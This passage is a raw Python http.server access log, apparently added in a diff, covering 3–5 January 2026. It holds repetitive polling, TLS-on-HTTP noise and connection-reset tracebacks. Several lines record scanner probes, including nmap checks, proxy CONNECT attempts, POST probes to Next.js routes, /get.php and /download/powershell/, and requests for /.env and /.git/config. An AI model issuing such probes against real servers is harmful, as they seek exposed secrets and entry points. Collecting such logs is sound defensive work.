HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 22:53:22] "GET / HTTP/1.1" 200 - +45.194.92.18 - - [03/Jan/2026 22:53:32] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 22:56:18] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 23:00:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 23:02:40] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 23:06:03] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [03/Jan/2026 23:07:41] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 23:09:13] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 23:13:01] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 23:15:36] "GET / HTTP/1.1" 200 - +205.210.31.41 - - [03/Jan/2026 23:17:31] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 23:19:14] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 23:22:26] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 23:25:10] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 23:28:18] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 23:32:01] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 23:35:14] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 23:37:58] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 23:41:17] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 23:44:41] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 23:47:37] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 23:50:36] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 23:54:19] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [03/Jan/2026 23:57:06] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 00:00:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 00:03:01] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 00:10:10] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 00:12:39] "GET / HTTP/1.1" 200 - +89.42.231.179 - - [04/Jan/2026 00:18:12] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 00:20:13] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 00:22:42] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 00:25:34] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 00:29:19] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 00:31:59] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 00:35:09] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 00:38:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 00:41:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 00:45:10] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 00:48:21] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 00:50:33] "GET / HTTP/1.1" 200 - +94.26.106.58 - - [04/Jan/2026 00:51:54] code 501, message Unsupported method ('CONNECT') +94.26.106.58 - - [04/Jan/2026 00:51:54] "CONNECT www.cloudflare.com:443 HTTP/1.1" 501 - +185.16.39.146 - - [04/Jan/2026 00:53:36] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 00:58:12] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 01:00:29] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 01:04:16] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 01:07:28] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 01:10:54] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 01:13:38] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 01:16:51] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 01:20:13] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 01:23:20] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 01:26:47] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 01:29:56] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 01:32:50] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 01:36:48] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 01:39:09] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 01:42:31] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 01:45:47] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 01:48:47] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 01:51:38] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 01:55:22] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 01:58:24] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 02:01:34] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 02:03:55] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 02:07:20] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 02:10:47] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [04/Jan/2026 02:13:18] "GET / HTTP/1.1" 200 - +121.40.42.170 - - [04/Jan/2026 02:14:41] "GET / HTTP/1.0" 200 - +121.40.42.170 - - [04/Jan/2026 02:14:47] code 404, message File not found +121.40.42.170 - - [04/Jan/2026 02:14:47] "GET /nmaplowercheck1767492886 HTTP/1.1" 404 - +121.40.42.170 - - [04/Jan/2026 02:14:47] "GET / HTTP/1.0" 200 - +121.40.42.170 - - [04/Jan/2026 02:14:47] code 501, message Unsupported method ('POST') +121.40.42.170 - - [04/Jan/2026 02:14:47] "POST /sdk HTTP/1.1" 501 - +121.40.42.170 - - [04/Jan/2026 02:14:47] code 404, message File not found +121.40.42.170 - - [04/Jan/2026 02:14:47] "GET /HNAP1 HTTP/1.1" 404 - +121.40.42.170 - - [04/Jan/2026 02:14:47] code 404, message File not found +121.40.42.170 - - [04/Jan/2026 02:14:47] "GET /evox/about HTTP/1.1" 404 - +121.40.42.170 - - [04/Jan/2026 02:14:57] code 400, message Bad HTTP/0.9 request type ('\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01ü\\x03\\x03\\x11ã^Ñ\\x97\\x04qÓÁ^\\x89') +121.40.42.170 - - [04/Jan/2026 02:14:57] "\x16\x03\x01\x02\x00\x01\x00\x01ü\x03\x03\x11ã^Ñ\x97\x04qÓÁ^\x89\x1eÌp\x9d¾Ó¡î\x19!qxe÷3[rá³\x08[\x00\x00Ú\x00\x05\x00\x04\x00\x02\x00\x01\x00\x16\x003\x009\x00:\x00\x18\x005\x00" 400 - +121.40.42.170 - - [04/Jan/2026 02:14:57] code 400, message Bad request syntax ('\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01ü\\x03\\x03\\x02ùNó[wÆ4A\\x8b~á\\x07%,È\\x9c¨\\x82ÎX\\x07h"L\\x16Çü@Êöî\\x00\\x00Ú\\x00\\x05\\x00\\x04\\x00\\x02\\x00\\x01\\x00\\x16\\x003\\x009\\x00:\\x00\\x18\\x005\\x00') +121.40.42.170 - - [04/Jan/2026 02:14:57] "\x16\x03\x01\x02\x00\x01\x00\x01ü\x03\x03\x02ùNó[wÆ4A\x8b~á\x07%,È\x9c¨\x82ÎX\x07h"L\x16Çü@Êöî\x00\x00Ú\x00\x05\x00\x04\x00\x02\x00\x01\x00\x16\x003\x009\x00:\x00\x18\x005\x00" 400 - +121.40.42.170 - - [04/Jan/2026 02:14:58] "GET / HTTP/1.0" 200 - +121.40.42.170 - - [04/Jan/2026 02:14:58] "GET / HTTP/1.1" 200 - +91.224.92.121 - - [04/Jan/2026 02:34:04] code 501, message Unsupported method ('OPTIONS') +91.224.92.121 - - [04/Jan/2026 02:34:04] "OPTIONS / HTTP/1.1" 501 - +185.226.197.73 - - [04/Jan/2026 02:47:16] "GET / HTTP/1.1" 200 - +185.226.197.72 - - [04/Jan/2026 02:47:33] "GET / HTTP/1.1" 200 - +130.12.182.3 - - [04/Jan/2026 03:17:15] code 501, message Unsupported method ('CONNECT') +130.12.182.3 - - [04/Jan/2026 03:17:15] "CONNECT 185.65.245.10:7227 HTTP/1.1" 501 - +137.184.169.162 - - [04/Jan/2026 03:38:48] code 400, message Bad request syntax ('\\x00\\x0e8\\x90Ü\\x16\\x83Ýòªf\\x00\\x00\\x00\\x00\\x00') +137.184.169.162 - - [04/Jan/2026 03:38:48] "\x00\x0e8\x90Ü\x16\x83Ýòªf\x00\x00\x00\x00\x00" 400 - +161.35.88.170 - - [04/Jan/2026 03:58:22] "GET / HTTP/1.1" 200 - +161.35.88.170 - - [04/Jan/2026 03:58:23] code 404, message File not found +161.35.88.170 - - [04/Jan/2026 03:58:23] "GET /favicon.ico HTTP/1.1" 404 - +82.23.183.43 - - [04/Jan/2026 03:58:44] code 501, message Unsupported method ('POST') +82.23.183.43 - - [04/Jan/2026 03:58:44] "POST / HTTP/1.1" 501 - +82.23.183.43 - - [04/Jan/2026 03:58:59] code 501, message Unsupported method ('POST') +82.23.183.43 - - [04/Jan/2026 03:58:59] "POST /_next HTTP/1.1" 501 - +82.23.183.43 - - [04/Jan/2026 03:59:16] code 501, message Unsupported method ('POST') +82.23.183.43 - - [04/Jan/2026 03:59:16] "POST /api HTTP/1.1" 501 - +82.23.183.43 - - [04/Jan/2026 03:59:29] code 501, message Unsupported method ('POST') +82.23.183.43 - - [04/Jan/2026 03:59:29] "POST /_next/server HTTP/1.1" 501 - +82.23.183.43 - - [04/Jan/2026 03:59:44] code 501, message Unsupported method ('POST') +82.23.183.43 - - [04/Jan/2026 03:59:44] "POST /app HTTP/1.1" 501 - +82.23.183.43 - - [04/Jan/2026 03:59:56] code 501, message Unsupported method ('POST') +82.23.183.43 - - [04/Jan/2026 03:59:56] "POST /api/route HTTP/1.1" 501 - +164.92.86.252 - - [04/Jan/2026 04:08:41] code 400, message Bad request version ('a\\x87?X\\x08') +164.92.86.252 - - [04/Jan/2026 04:08:41] "\x16\x03\x03\x01¥\x01\x00\x01¡\x03\x03$qÍ·öè\x84\x81 |À¡\x08\x0cÁú\x04\x8f@H\x08öêL.O:\x0cK\x8d\x99Å C¹61\x15\x03\x9aÂåÏ\x84\x85\x1ca\x87?X\x08" 400 - +164.92.86.252 - - [04/Jan/2026 04:08:41] code 400, message Bad request version ('À\\x9c\\x00<\\x00/\\x00') +164.92.86.252 - - [04/Jan/2026 04:08:41] "\x16\x03\x03\x01¥\x01\x00\x01¡\x03\x03õ°¨L:Û¡XNl¨\x11ji\x9fÍ%³KË$7Y³M%æ\x1a\x87Ã\x96Þ \x1bÓÆ\x8cÎCâ\x80\x8a°ú\x95dÄÉfc´«m\x04\x8d+³ØC/\x83iÇü®\x00\x8a\x00\x05\x00\x04\x00\x07\x00À\x00\x84\x00º\x00A\x00\x9dÀ¡À\x9d\x00=\x005\x00\x9cÀ À\x9c\x00<\x00/\x00" 400 - +164.92.86.252 - - [04/Jan/2026 04:08:42] code 400, message Bad request version ('x¨µ÷\\x12U\\x8cÈ\\x00FÀ\\x12À\\x07Ì\\x14\\x13\\x01\\x13\\x02Ì©ÀsÀrÀ,À¯À\\xadÀ$À') +164.92.86.252 - - [04/Jan/2026 04:08:42] "\x16\x03\x03\x01V\x01\x00\x01R\x03\x03¥ýï\x7fã`\x1aò`\x93Ò¡ºêöé¾\x03vCÄuë¶s@WÍ`­\x82\x8e mª¨\x17î**ê\x9er\x92\x98\x95Ôu\x1dVË©ÜYcH\x1cx¨µ÷\x12U\x8cÈ\x00FÀ\x12À\x07Ì\x14\x13\x01\x13\x02Ì©ÀsÀrÀ,À¯À­À$À" 400 - +164.92.86.252 - - [04/Jan/2026 04:08:42] code 400, message Bad request version ("\\x00DÀ\\x13À'À/À\\x14À(À0À`ÀaÀvÀw̨\\x13\\x05\\x13\\x04\\x13\\x03Ì\\x13À\\x11\\x00") +164.92.86.252 - - [04/Jan/2026 04:08:42] "\x16\x03\x03\x01H\x01\x00\x01D\x03\x03IÖ/\x18¾íâ|\x9e\x8e?}k´\x13\x9fK!\x82¶\x1b\x81æâù\x89\x05\x069¨eå  \x89·\x8c\x0e§YË` ¢ýÉìÚ\x12fXû/\x92&\x1f\x05]2Êwì\x92³Þ\x9aÆw\x07¸uN\x1e\x88¶" 400 - +159.65.207.237 - - [05/Jan/2026 11:36:07] code 400, message Bad request syntax ('\\x16\\x03\\x01\\x00{\\x01\\x00\\x00w\\x03\\x03GÀÐ\\x027Þ\\x92\\x05t;E¹\\x13Ê') +159.65.207.237 - - [05/Jan/2026 11:36:07] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03GÀÐ\x027Þ\x92\x05t;E¹\x13Ê" 400 - +159.65.207.237 - - [05/Jan/2026 11:36:07] "GET / HTTP/1.1" 200 - +159.65.207.237 - - [05/Jan/2026 11:36:07] code 404, message File not found +159.65.207.237 - - [05/Jan/2026 11:36:07] "GET /download/powershell/ HTTP/1.1" 404 - +159.65.207.237 - - [05/Jan/2026 11:36:07] code 404, message File not found +159.65.207.237 - - [05/Jan/2026 11:36:07] "GET /get.php HTTP/1.1" 404 - +185.16.39.146 - - [05/Jan/2026 11:40:23] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 11:43:51] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 11:49:37] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 11:53:35] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 11:57:17] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 12:02:08] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 12:05:49] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 12:10:28] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 12:15:02] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 12:20:21] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 12:24:27] "GET / HTTP/1.1" 200 - +206.191.154.46 - - [05/Jan/2026 12:26:09] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 12:28:19] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 12:33:02] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 12:36:39] "GET / HTTP/1.1" 200 - +---------------------------------------- +Exception occurred during processing of request from ('66.132.153.54', 52560) +Traceback (most recent call last): + File "/usr/lib/python3.10/socketserver.py", line 683, in process_request_thread + self.finish_request(request, client_address) + File "/usr/lib/python3.10/http/server.py", line 1304, in finish_request + self.RequestHandlerClass(request, client_address, self, + File "/usr/lib/python3.10/http/server.py", line 668, in __init__ + super().__init__(*args, **kwargs) + File "/usr/lib/python3.10/socketserver.py", line 747, in __init__ + self.handle() + File "/usr/lib/python3.10/http/server.py", line 433, in handle + self.handle_one_request() + File "/usr/lib/python3.10/http/server.py", line 401, in handle_one_request + self.raw_requestline = self.rfile.readline(65537) + File "/usr/lib/python3.10/socket.py", line 705, in readinto + return self._sock.recv_into(b) +ConnectionResetError: [Errno 104] Connection reset by peer +---------------------------------------- +66.132.153.54 - - [05/Jan/2026 12:40:22] "GET / HTTP/1.1" 200 - +66.132.153.54 - - [05/Jan/2026 12:40:26] code 400, message Bad request version ('À\\x14À') +66.132.153.54 - - [05/Jan/2026 12:40:26] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03¤\x02,ìó\x97e`z\x02n ýþ£??Ð\x95h\x95ñîñ\\ápóÂ-¥2 } ±\x98\x1fCÊÑíH»m\x07(\x7fk%\x16F·M±mt\x08ë &Òó:ü\x00&̨̩À/À0À+À,À\x13À\x09À\x14À" 400 - +66.132.153.54 - - [05/Jan/2026 12:40:26] "GET / HTTP/1.1" 200 - +66.132.153.54 - - [05/Jan/2026 12:40:26] code 505, message Invalid HTTP version (2.0) +66.132.153.54 - - [05/Jan/2026 12:40:26] "PRI * HTTP/2.0" 505 - +66.132.153.54 - - [05/Jan/2026 12:40:26] code 404, message File not found +66.132.153.54 - - [05/Jan/2026 12:40:26] "GET /favicon.ico HTTP/1.1" 404 - +66.132.153.54 - - [05/Jan/2026 12:40:30] code 400, message Bad request version ('À\\x14À') +66.132.153.54 - - [05/Jan/2026 12:40:30] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03\x8e«k"ð\x1c»ÑíõéaòûÌj\x98\x14Tpó0\x08ù\x7fÛ\\)d¨\x1a\x8a 7\x02´P±=\x113U\x11\x93\x15@\x0f¨Ó&kRD\x9cik\x01y\x87Ã=<6®¹\x00&̨̩À/À0À+À,À\x13À\x09À\x14À" 400 - +66.132.153.54 - - [05/Jan/2026 12:40:30] code 404, message File not found +66.132.153.54 - - [05/Jan/2026 12:40:30] "GET /robots.txt HTTP/1.1" 404 - +185.16.39.146 - - [05/Jan/2026 12:42:06] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 12:46:34] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 12:51:05] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 12:55:08] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 13:00:52] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 13:03:56] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 13:08:48] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 13:13:28] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 13:18:14] "GET / HTTP/1.1" 200 - +141.98.11.140 - - [05/Jan/2026 13:18:20] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 13:21:54] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 13:25:57] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 13:30:44] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 13:35:25] "GET / HTTP/1.1" 200 - +65.49.1.162 - - [05/Jan/2026 13:35:43] "GET / HTTP/1.1" 200 - +65.49.1.164 - - [05/Jan/2026 13:36:15] code 404, message File not found +65.49.1.164 - - [05/Jan/2026 13:36:15] "GET /favicon.ico HTTP/1.1" 404 - +65.49.1.163 - - [05/Jan/2026 13:36:38] code 404, message File not found +65.49.1.163 - - [05/Jan/2026 13:36:38] "GET http://api.ipify.org/?format=json HTTP/1.1" 404 - +65.49.1.169 - - [05/Jan/2026 13:36:45] code 501, message Unsupported method ('CONNECT') +65.49.1.169 - - [05/Jan/2026 13:36:45] "CONNECT www.shadowserver.org:443 HTTP/1.1" 501 - +65.49.1.162 - - [05/Jan/2026 13:36:59] code 404, message File not found +65.49.1.162 - - [05/Jan/2026 13:36:59] "GET /geoserver/web/ HTTP/1.1" 404 - +185.16.39.146 - - [05/Jan/2026 13:40:51] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 13:44:19] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 13:48:37] "GET / HTTP/1.1" 200 - +64.62.156.172 - - [05/Jan/2026 13:52:34] code 400, message Bad request version ('À\\x14À') +64.62.156.172 - - [05/Jan/2026 13:52:34] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03Êyü\x07\x9d\x02\x0d\x8fbX\x91?$\x91Ú\x0b9\x9d¬-úÍõFË$è£A@µ¢\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +185.16.39.146 - - [05/Jan/2026 13:53:13] "GET / HTTP/1.1" 200 - +82.23.183.43 - - [05/Jan/2026 13:54:59] code 501, message Unsupported method ('POST') +82.23.183.43 - - [05/Jan/2026 13:54:59] "POST /_next HTTP/1.1" 501 - +82.23.183.43 - - [05/Jan/2026 13:55:11] code 501, message Unsupported method ('POST') +82.23.183.43 - - [05/Jan/2026 13:55:11] "POST /api HTTP/1.1" 501 - +82.23.183.43 - - [05/Jan/2026 13:55:23] code 501, message Unsupported method ('POST') +82.23.183.43 - - [05/Jan/2026 13:55:23] "POST /_next/server HTTP/1.1" 501 - +82.23.183.43 - - [05/Jan/2026 13:55:50] code 501, message Unsupported method ('POST') +82.23.183.43 - - [05/Jan/2026 13:55:50] "POST /api/route HTTP/1.1" 501 - +185.16.39.146 - - [05/Jan/2026 13:58:25] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 14:01:35] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [05/Jan/2026 14:04:56] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 14:07:23] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 14:10:56] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 14:15:36] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 14:19:13] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 14:24:22] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 14:28:28] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 14:33:50] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 14:37:29] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 14:42:57] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 14:46:31] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 14:51:41] "GET / HTTP/1.1" 200 - +193.142.146.230 - - [05/Jan/2026 14:54:59] code 404, message File not found +193.142.146.230 - - [05/Jan/2026 14:54:59] "GET /login HTTP/1.1" 404 - +185.16.39.146 - - [05/Jan/2026 14:55:15] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 15:01:17] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 15:05:28] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 15:09:52] "GET / HTTP/1.1" 200 - +130.12.180.18 - - [05/Jan/2026 15:10:16] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 15:13:37] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 15:19:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 15:23:50] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 15:28:41] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 15:32:54] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 15:36:43] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 15:41:22] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [05/Jan/2026 15:45:59] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 15:46:00] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 15:50:36] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 15:54:42] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 15:59:52] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 16:03:25] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 16:08:29] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 16:14:29] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 16:18:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 16:21:26] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 16:27:26] "GET / HTTP/1.1" 200 - +---------------------------------------- +Exception occurred during processing of request from ('66.132.153.125', 30958) +Traceback (most recent call last): + File "/usr/lib/python3.10/socketserver.py", line 683, in process_request_thread + self.finish_request(request, client_address) + File "/usr/lib/python3.10/http/server.py", line 1304, in finish_request + self.RequestHandlerClass(request, client_address, self, + File "/usr/lib/python3.10/http/server.py", line 668, in __init__ + super().__init__(*args, **kwargs) + File "/usr/lib/python3.10/socketserver.py", line 747, in __init__ + self.handle() + File "/usr/lib/python3.10/http/server.py", line 433, in handle + self.handle_one_request() + File "/usr/lib/python3.10/http/server.py", line 401, in handle_one_request + self.raw_requestline = self.rfile.readline(65537) + File "/usr/lib/python3.10/socket.py", line 705, in readinto + return self._sock.recv_into(b) +ConnectionResetError: [Errno 104] Connection reset by peer +---------------------------------------- +66.132.153.125 - - [05/Jan/2026 16:29:51] "GET / HTTP/1.1" 200 - +66.132.153.125 - - [05/Jan/2026 16:29:54] code 400, message Bad request version ('À\\x14À') +66.132.153.125 - - [05/Jan/2026 16:29:54] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03\x08\x95_\x90Î?®Q\x03_$Ý­IÔ\x0c)|ZñX\x9d!\x9e\x0eò\x86îN/\x97[ \x86'.x\\\x85\x97V~fRZ&Ö¤Õ\x8bæ\x9e\x18RÒô{ì4þ$ûTÃ\x8d\x00&̨̩À/À0À+À,À\x13À\x09À\x14À" 400 - +66.132.153.125 - - [05/Jan/2026 16:29:55] "GET / HTTP/1.1" 200 - +66.132.153.125 - - [05/Jan/2026 16:29:55] code 505, message Invalid HTTP version (2.0) +66.132.153.125 - - [05/Jan/2026 16:29:55] "PRI * HTTP/2.0" 505 - +66.132.153.125 - - [05/Jan/2026 16:29:55] code 404, message File not found +66.132.153.125 - - [05/Jan/2026 16:29:55] "GET /favicon.ico HTTP/1.1" 404 - +66.132.153.125 - - [05/Jan/2026 16:29:59] code 400, message Bad request version ('À\\x14À') +66.132.153.125 - - [05/Jan/2026 16:29:59] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03ÒvUÇeÀ\x8cu\\c¥=rÑô\x9c\x83tüfø}\x06¬\x15ú¼ÏÎÒ\x88\x19 ýo;\x82<\x14ôn©¯'°\x84~+hÚâ\x9fíh\x07\x02ìF_j¤ià\x12\x00&̨̩À/À0À+À,À\x13À\x09À\x14À" 400 - +66.132.153.125 - - [05/Jan/2026 16:29:59] code 404, message File not found +66.132.153.125 - - [05/Jan/2026 16:29:59] "GET /.well-known/security.txt HTTP/1.1" 404 - +185.16.39.146 - - [05/Jan/2026 16:30:45] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 16:35:15] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 16:40:06] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 16:44:03] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 16:49:29] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 16:53:14] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 16:57:58] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 17:02:20] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 17:06:57] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 17:10:42] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 17:16:17] "GET / HTTP/1.1" 200 - +129.212.237.72 - - [05/Jan/2026 17:18:26] code 404, message File not found +129.212.237.72 - - [05/Jan/2026 17:18:26] "GET /.env HTTP/1.1" 404 - +129.212.237.72 - - [05/Jan/2026 17:18:26] code 404, message File not found +129.212.237.72 - - [05/Jan/2026 17:18:26] "GET /.git/config HTTP/1.1" 404 - +185.16.39.146 - - [05/Jan/2026 17:20:30] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 17:24:57] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 17:29:02] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 17:34:09] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 17:38:18] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 17:43:07] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 17:47:10] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 17:52:23] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 17:56:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 18:01:33] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 18:05:01] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 18:10:05] "GET / HTTP/1.1" 200 - +13.218.54.153 - - [05/Jan/2026 18:13:30] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 18:14:50] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [05/Jan/2026 18:19:04] "GET / HTTP/1.1" 